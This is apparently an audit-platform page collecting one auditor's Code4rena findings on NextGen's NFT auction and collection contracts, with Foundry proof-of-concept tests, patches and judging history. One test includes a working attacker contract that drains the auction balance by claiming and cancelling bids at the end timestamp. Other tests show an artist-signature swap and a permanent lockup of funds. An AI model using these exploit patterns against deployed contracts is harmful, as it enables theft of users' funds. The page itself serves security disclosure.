NextGen - rotcivegaf's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 48/243

Findings: 5

Award: $176.99

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

File: smart-contracts/AuctionDemo.sol

058:        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

105:        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

125:        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

135:        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

As we can see in these lines, when the condition block.timestamp == minter.getAuctionEndTime(_tokenid) is met, a bid winner can call the (participateToAuction, claimAuction, cancelBid and cancelAllBids functions

In the participateToAuction function we only observe a low severity, but in the rest of the functions the severity increases, giving the possibility of emptying all the funds from the auction contract

By having an auction, a malicious bidder could make several bids, winning this auction. This malicious bidder will claim the auction(claimAuction) at the exact moment where the condition block.timestamp == minter.getAuctionEndTime(_tokenid) is met and in that same transaction call the cancelBid function several times with its different index or easily with the cancelAllBids function

Thus generating the double refound of their bids, taking the entire balance of the auction contract

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

import {ERC721} from "openzeppelin-contracts/token/ERC721/ERC721.sol";

contract MockMinter {
    uint256 auctionEndTime;

    function setAuctionEndTime(uint256 _auctionEndTime) external {
        auctionEndTime = _auctionEndTime;
    }

    function getAuctionEndTime(uint256) external view returns (uint) {
        return auctionEndTime;
    }

    function getAuctionStatus(uint256 _tokenId) external view  returns (bool) {
        return true;
    }
}

contract MockGenCore is ERC721("", "") {
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
}

contract PoCTest is Test {
    uint256 tokenId = 1;
    uint256 auctionEndTime = block.timestamp + 1;

    MockGenCore mockGenCore;
    auctionDemo auction;

    function setUp() public {
        // Deploy contracts
        NextGenAdmins genAdmins = new NextGenAdmins();

        MockMinter mockMinter = new MockMinter();
        mockGenCore = new MockGenCore();
        mockGenCore.mint(address(this), tokenId);

        vm.prank(address(11));
        auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins));

        mockMinter.setAuctionEndTime(auctionEndTime);

        mockGenCore.setApprovalForAll(address(auction), true);
    }

    function test() public {
        // Deploy attacker contract and add founds
        BidderAttacker bidderAttacker = new BidderAttacker(auction, ERC721(address(mockGenCore)), tokenId);
        vm.deal(address(bidderAttacker), 100 ether);

        // The auction contract have 100 ether, the accumulation of all ongoing auctions
        vm.deal(address(auction), 100 ether);

        // The attacker bid several time and win the auction
        for (uint256 i; i < 99; i++) {
            bidderAttacker.bid(1 ether + i);
        }

        // Log the balances before hack
        console.log("Auction contract balance:        ", address(auction).balance);
        console.log("Bidder attacker contract balance:", address(bidderAttacker).balance);
        console.log();

        // End the auction
        vm.warp(auctionEndTime);

        // The bidder attacker contract run the attack exact in auctionEndTime timestamp
        bidderAttacker.run();

        // Log the after hack balances
        console.log("Auction contract balance:        ", address(auction).balance);
        console.log("Bidder attacker contract balance:", address(bidderAttacker).balance);
    }
}

contract BidderAttacker {
    auctionDemo auction;
    ERC721 genCore;
    uint256 tokenId;

    constructor (auctionDemo _auction, ERC721 _genCore, uint256 _tokenId) {
        auction = _auction;
        genCore = _genCore;
        tokenId = _tokenId;
    }

    function bid(uint256 _amount) external payable {
        auction.participateToAuction{ value: _amount }(tokenId);
    }

    function run() external {
        auction.claimAuction(tokenId);
        auction.cancelAllBids(tokenId);
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    fallback() external payable {}
}

Tools Used

Manual review

@@ -102,7 +102,7 @@ contract auctionDemo is Ownable {
     // claim Token After Auction
 
     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-14T13:55:15Z

141345 marked the issue as duplicate of #1904

#1 - c4-pre-sort

2023-11-14T23:31:35Z

141345 marked the issue as duplicate of #962

#2 - c4-judge

2023-12-01T15:28:21Z

alex-ppg marked the issue as not a duplicate

#3 - c4-judge

2023-12-01T15:28:30Z

alex-ppg marked the issue as duplicate of #1788

#4 - c4-judge

2023-12-08T18:07:31Z

alex-ppg marked the issue as satisfactory

Awards

25.2356 USDC - $25.24

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-971

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L113

Vulnerability details

Impact

  • File: smart-contracts/AuctionDemo.sol
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
@==>            (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

As we can see in the claimAuction function, when the winner of the auction claim the auction the value of the bid goes to the owner() who is the owner of the auction contract instead of the owner of the ERC721 token ownerOfToken

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";

import {ERC721} from "openzeppelin-contracts/token/ERC721/ERC721.sol";

contract MockMinter {
    uint256 auctionEndTime;

    function setAuctionEndTime(uint256 _auctionEndTime) external {
        auctionEndTime = _auctionEndTime;
    }

    function getAuctionEndTime(uint256) external view returns (uint) {
        return auctionEndTime;
    }

    function getAuctionStatus(uint256 _tokenId) external view  returns (bool) {
        return true;
    }
}

contract MockGenCore is ERC721("", "") {
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
}

contract PoCTest is Test {
    uint256 collectionID = 1;
    uint256 tokenId = 1;
    uint256 auctionEndTime = block.timestamp + 1;

    address auctionOwner = address(10);
    address ownerToken = address(11);
    address bidder = address(12);

    MockMinter mockMinter;
    MockGenCore mockGenCore;

    NextGenAdmins genAdmins;
    auctionDemo auction;
    NextGenMinterContract minter;

    function setUp() public {
        // Deploy contracts
        genAdmins = new NextGenAdmins();

        mockMinter = new MockMinter();
        mockGenCore = new MockGenCore();
        mockGenCore.mint(ownerToken, tokenId);

        vm.prank(auctionOwner);
        auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins));

        mockMinter.setAuctionEndTime(auctionEndTime);

        vm.deal(bidder, 1 ether);

        vm.prank(ownerToken);
        mockGenCore.setApprovalForAll(address(auction), true);
    }

    function test() public {
        // A bidder make a bid
        vm.prank(bidder);
        auction.participateToAuction{ value: 1 ether }(tokenId);

        // To end the auction
        vm.warp(auctionEndTime);

        // Bidder claim the auction
        vm.prank(bidder);
        auction.claimAuction(tokenId);

        // The bid amount should be goes to the owner of the token instead of the owner of the auction contract
        console.log("Owner of auction contract balance:", auctionOwner.balance);
        console.log("Owner of the token balance:", ownerToken.balance);
    }
}

Tools Used

Manual review

@@ -110,7 +110,8 @@ contract auctionDemo is Ownable {
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-                (bool success, ) = payable(owner()).call{value: highestBid}("");
+                (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
+                require(success, "ww");
                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
             } else if (auctionInfoData[_tokenid][i].status == true) {
                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

Assessed type

ETH-Transfer

#0 - c4-pre-sort

2023-11-17T10:59:45Z

141345 marked the issue as duplicate of #245

#1 - c4-judge

2023-12-08T22:27:02Z

alex-ppg marked the issue as satisfactory

#2 - c4-judge

2023-12-09T00:22:20Z

alex-ppg changed the severity to 2 (Med Risk)

Findings Information

Labels

bug
2 (Med Risk)
downgraded by judge
partial-50
duplicate-741

Awards

137.8889 USDC - $137.89

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L143-L166 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L255-L262

Vulnerability details

Impact

In the NextGenCore contract we have the setCollectionData which is used among other things to set the collectionArtistAddress by the collection admin

    // function to add/modify the additional data of a collection
    // once a collection is created and total supply is set it cannot be changed
    // only _collectionArtistAddress , _maxCollectionPurchases can change after total supply is set

    function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) {
        require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
        if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {
            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
@==>        collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].collectionCirculationSupply = 0;
            collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
            collectionAdditionalData[_collectionID].reservedMinTokensIndex = (_collectionID * 10000000000);
            collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1;
            wereDataAdded[_collectionID] = true;
        } else if (artistSigned[_collectionID] == false) {
            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
            collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
        } else {
            collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
        }
    }

On the other hand we have the artistSignature function that is used to sign the collection:

    // function for artist signature

    function artistSignature(uint256 _collectionID, string memory _signature) public {
        require(msg.sender == collectionAdditionalData[_collectionID].collectionArtistAddress, "Only artist");
        require(artistSigned[_collectionID] == false, "Already Signed");
@==>    artistsSignatures[_collectionID] = _signature;
        artistSigned[_collectionID] = true;
    }

The problem is that the setCollectionData function can change the artist again once the collection is signed, giving the possibility that the collection is signed by a fake artist and then this is changed by a famous one, stealing the identity of the famous artist and selling tokens in his name and signature

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";

contract PoCTest is Test {
    address leonardo = address(6);

    address collectionAdmin = address(1);
    address hekking = address (9);

    uint256 collectionID = 1;

    NextGenAdmins genAdmins;
    NextGenCore genCore;

    function setUp() public {
        // Deploy contracts
        genAdmins = new NextGenAdmins();
        genCore = new NextGenCore("", "", address(genAdmins));

        // Create an empty collection
        genCore.createCollection("", "", "", "", "", "", "", new string[](0));

        // Register an admin collection
        genAdmins.registerCollectionAdmin(collectionID, collectionAdmin, true);
    }

    function test() public {
        // The collection admin set Hekking as the collection's artist.
        vm.startPrank(collectionAdmin);
        genCore.setCollectionData(collectionID, hekking, 0, 0, 0);

        // Hekking sign the collection with the Leonardo signature
        vm.startPrank(hekking);
        genCore.artistSignature(collectionID, "L da Vinci");

        // The collection admin set Leonardo as the collection's artist.
        vm.startPrank(collectionAdmin);
        genCore.setCollectionData(collectionID, leonardo, 0, 0, 0);

        // Finally the collection have a Leonardo signature setted by hekking
        console.log("Collection artist:", genCore.retrieveArtistAddress(collectionID));
        console.log("Collection signature:", genCore.artistsSignatures(collectionID));
    }
}

Tools Used

Manual review

@@ -147,7 +147,9 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
     function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) {
         require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
         if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {
-            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
+            if (!artistSigned[_collectionID]) {
+                collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
+            }
             collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
             collectionAdditionalData[_collectionID].collectionCirculationSupply = 0;
             collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;

Assessed type

ERC721

#0 - c4-pre-sort

2023-11-17T11:01:11Z

141345 marked the issue as duplicate of #478

#1 - c4-pre-sort

2023-11-18T09:19:35Z

141345 marked the issue as not a duplicate

#2 - c4-pre-sort

2023-11-18T09:20:09Z

141345 marked the issue as duplicate of #323

#3 - c4-pre-sort

2023-11-26T14:10:59Z

141345 marked the issue as not a duplicate

#4 - c4-pre-sort

2023-11-26T14:12:42Z

141345 marked the issue as duplicate of #478

#5 - c4-judge

2023-12-08T21:56:31Z

alex-ppg marked the issue as partial-50

#6 - c4-judge

2023-12-09T00:22:38Z

alex-ppg changed the severity to 2 (Med Risk)

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

File: smart-contracts/AuctionDemo.sol

112:                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

As we can see in the previous line, when an auction ends, the ERC721 token is sent to the winner of the auction using the safeTransferFrom function, this has the peculiarity that it calls the recipient of the token and hopes that he can receive it.

The problem is that if the recipient rejects the token or does not implement this functionality, the claimAuction function cannot be executed and will always revert (even if it is sent by a global admin or the owner of the contract NextGenAdmins) leaving the Bidding funds locked in contracts forever along with the ERC721 token

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";

import {ERC721} from "openzeppelin/token/ERC721/ERC721.sol";

contract MockMinter {
    uint256 auctionEndTime;

    function setAuctionEndTime(uint256 _auctionEndTime) external {
        auctionEndTime = _auctionEndTime;
    }

    function getAuctionEndTime(uint256) external view returns (uint) {
        return auctionEndTime;
    }

    function getAuctionStatus(uint256 _tokenId) external view  returns (bool) {
        return true;
    }
}

contract MockGenCore is ERC721("", "") {
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
}

contract PoCTest is Test {
    uint256 tokenId = 1;
    uint256 auctionId = 0;
    uint256 auctionEndTime = block.timestamp + 1;

    auctionDemo auction;

    address auctionOwner = address(666);
    address bidderA = address(777);
    address bidderB = address(888);

    function setUp() public {
        // Deploy contracts
        vm.prank(auctionOwner);
        NextGenAdmins genAdmins = new NextGenAdmins();

        MockMinter mockMinter = new MockMinter();
        MockGenCore mockGenCore = new MockGenCore();
        mockGenCore.mint(address(this), tokenId);

        auction = new auctionDemo(address(mockMinter), address(mockGenCore), address(genAdmins));

        mockMinter.setAuctionEndTime(auctionEndTime);

        mockGenCore.setApprovalForAll(address(auction), true);

        vm.deal(bidderA, 100 ether);
        vm.deal(bidderB, 100 ether);
    }

    function test() public {
        // Deploy the bidder contract that would reject the tokens
        BidderNotReceiver bidderNotReceiver = new BidderNotReceiver();
        vm.deal(address(bidderNotReceiver), 10 ether);

        // The bidder A and B fight over the auction bid
        uint256 finalBid;
        for (uint256 i; i < 10; i++) {
            uint256 valueA = 1 ether + (i * 0.1 ether);
            vm.prank(bidderA);
            auction.participateToAuction{ value: valueA }(tokenId);

            finalBid = ++valueA;
            vm.prank(bidderB);
            auction.participateToAuction{ value: finalBid }(tokenId);
        }

        // The bidder contract bid and win the auction
        bidderNotReceiver.bid(auction, tokenId, ++finalBid);

        // End the auction
        vm.warp(auctionEndTime);

        // At this moment the bidder contract wins the auction
        // The next steps is call the claimAuction function
        // As the bidder contract, a global admin try run this call
        // but fails because the bidder contract reject the ERC721 token
        vm.prank(auctionOwner);
        auction.claimAuction(tokenId);
    }
}

contract BidderNotReceiver {
    function bid(auctionDemo _auction, uint256 _tokenId, uint256 _amount) external payable {
        _auction.participateToAuction{ value: _amount }(_tokenId);
    }

    // Reject ERC721 token
    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        return bytes4(0);
    }

    receive() external payable {}
}

Tools Used

Manual review

Given the structure of the auction contract, it is not an easy solution, a mechanism could be implemented where bidders can claim their bids and a function to emergency withdraw the ER721 token

Assessed type

ERC721

#0 - c4-pre-sort

2023-11-15T07:47:11Z

141345 marked the issue as duplicate of #1653

#1 - c4-pre-sort

2023-11-15T08:06:46Z

141345 marked the issue as duplicate of #843

#2 - c4-pre-sort

2023-11-16T13:36:18Z

141345 marked the issue as duplicate of #486

#3 - c4-judge

2023-12-01T22:34:31Z

alex-ppg marked the issue as not a duplicate

#4 - c4-judge

2023-12-01T22:34:58Z

alex-ppg marked the issue as duplicate of #1759

#5 - c4-judge

2023-12-08T22:13:42Z

alex-ppg marked the issue as partial-50

#6 - c4-judge

2023-12-09T00:23:12Z

alex-ppg changed the severity to 2 (Med Risk)

Awards

13.3948 USDC - $13.39

Labels

bug
grade-b
QA (Quality Assurance)
sufficient quality report
Q-17

External Links

[L-01] Reduce entropy in function getWord, same value for different id

The function getWord of the contract randomPool should returns a word from wordsList based on index, but instead of it returns the index sub one and if id is 0 returns the id 0

File: smart-contracts/XRandoms.sol

27:        // returns a word based on index
28:        if (id==0) {
29:            return wordsList[id];
30:        } else {
31:            return wordsList[id - 1];
32:        }

As we can see in this if/else the return for the id 0 and 1 it's the same value "Acai"

In addition, based in this comment // returns a word based on index and in common sense the function should return the index

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {randomPool} from "../smart-contracts/XRandoms.sol";

contract PocTest is Test {
    randomPool _randomPool;

    function setUp() public {
        _randomPool = new randomPool();
    }

    function testShouldNotBeEQ() public {
        string memory word0 = _randomPool.returnIndex(0);
        string memory word1 = _randomPool.returnIndex(1);

        console.log("Word index 0:", word0);
        console.log("Word index 1:", word1);

        assertNotEq(word0, word1, "Should not be equal");
    }

    function testShouldReturnTheWorldOfTheIndex() public {
        string[100] memory wordsList = [
            "Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange",
            "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine",
            "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian",
            "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum",
            "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango",
            "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple",
            "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma",
            "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"
        ];

        for (uint256 i; i < 100; i++) {
            assertEq(_randomPool.returnIndex(i), wordsList[i], "Should be equal");
        }
    }
}
@@ -24,13 +24,8 @@ contract randomPool {
         "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma",
         "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];

-        // returns a word based on index
-        if (id==0) {
-            return wordsList[id];
-        } else {
-            return wordsList[id - 1];
-        }
-        }
+        return wordsList[id];
+    }

[L-02] Reduce entropy in function getWord, the id 100("Watermelon") is not used

The function getWord of the contract randomPool don't se the last index of the wordsList array

File: smart-contracts/XRandoms.sol

40:    function randomWord() public view returns (string memory) {
41:        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
42:        return getWord(randomNum);
43:    }

As we can see the function the randomNum is a value between 0 and 99 and function getWord expects 100 as maximum id, for this the word Watermelon(id: 100) is unachievable

Look [L-01]

[L-03] Weak random on randomNumber() and randomWord() functions of randomPool

On blockchain don't exist the randoms values, the result of this both functions can be precalculated, manipulated the result. With the help of a Flashbots a wallet can send the transaction only if the result it's seems favorable for it

File: smart-contracts/XRandoms.sol

35:    function randomNumber() public view returns (uint256){
36:        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
37:        return randomNum;
38:    }

40:    function randomWord() public view returns (string memory) {
41:        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
42:        return getWord(randomNum);
43:    }

[L-04] Goerli's testnet keyHash on NextGenRandomizerVRF contract

The keyHash used in NextGenRandomizerVRF contract belongs to Goerli testnet: https://docs.chain.link/vrf/v2/subscription/supported-networks/#goerli-testnet

The contract should use the Ethereum mainnet one in this case: https://docs.chain.link/vrf/v2/subscription/supported-networks/#ethereum-mainnet

File: smart-contracts/RandomizerVRF.sol

26:    bytes32 public keyHash = 0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15;

[L-05] The _auctionEndTime can be an old date

The _auctionEndTime it does not check that the date is greater than the current one

  • File: smart-contracts/MinterContract.sol
    // mint and auction

    function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
        require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
        uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
        gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID);
        uint timeOfLastMint;
        // check 1 per period
        if (lastMintDate[_collectionID] == 0) {
        // for public sale set the allowlist the same time as publicsale
            timeOfLastMint = collectionPhases[_collectionID].allowlistStartTime - collectionPhases[_collectionID].timePeriod;
        } else {
            timeOfLastMint =  lastMintDate[_collectionID];
        }
        // uint calculates if period has passed in order to allow minting
        uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[_collectionID].timePeriod;
        // users are able to mint after a day passes
        require(tDiff>=1, "1 mint/period");
        lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1));
        mintToAuctionData[mintIndex] = _auctionEndTime;
        mintToAuctionStatus[mintIndex] = true;
    }

#1 - c4-pre-sort

2023-11-25T08:27:51Z

141345 marked the issue as sufficient quality report

#2 - alex-ppg

2023-12-08T15:24:22Z

QA Judgment

The Warden's QA report has been graded B based on a score of 16 combined with a manual review per the relevant QA guideline document located here.

The Warden's submission's score was assessed based on the following accepted findings:

Low-Risk

  • [L-01] & [L-02]: #1008

Non-Critical

  • [L-04]: #1611
  • [L-05]: #384

#3 - c4-judge

2023-12-08T15:24:50Z

alex-ppg marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter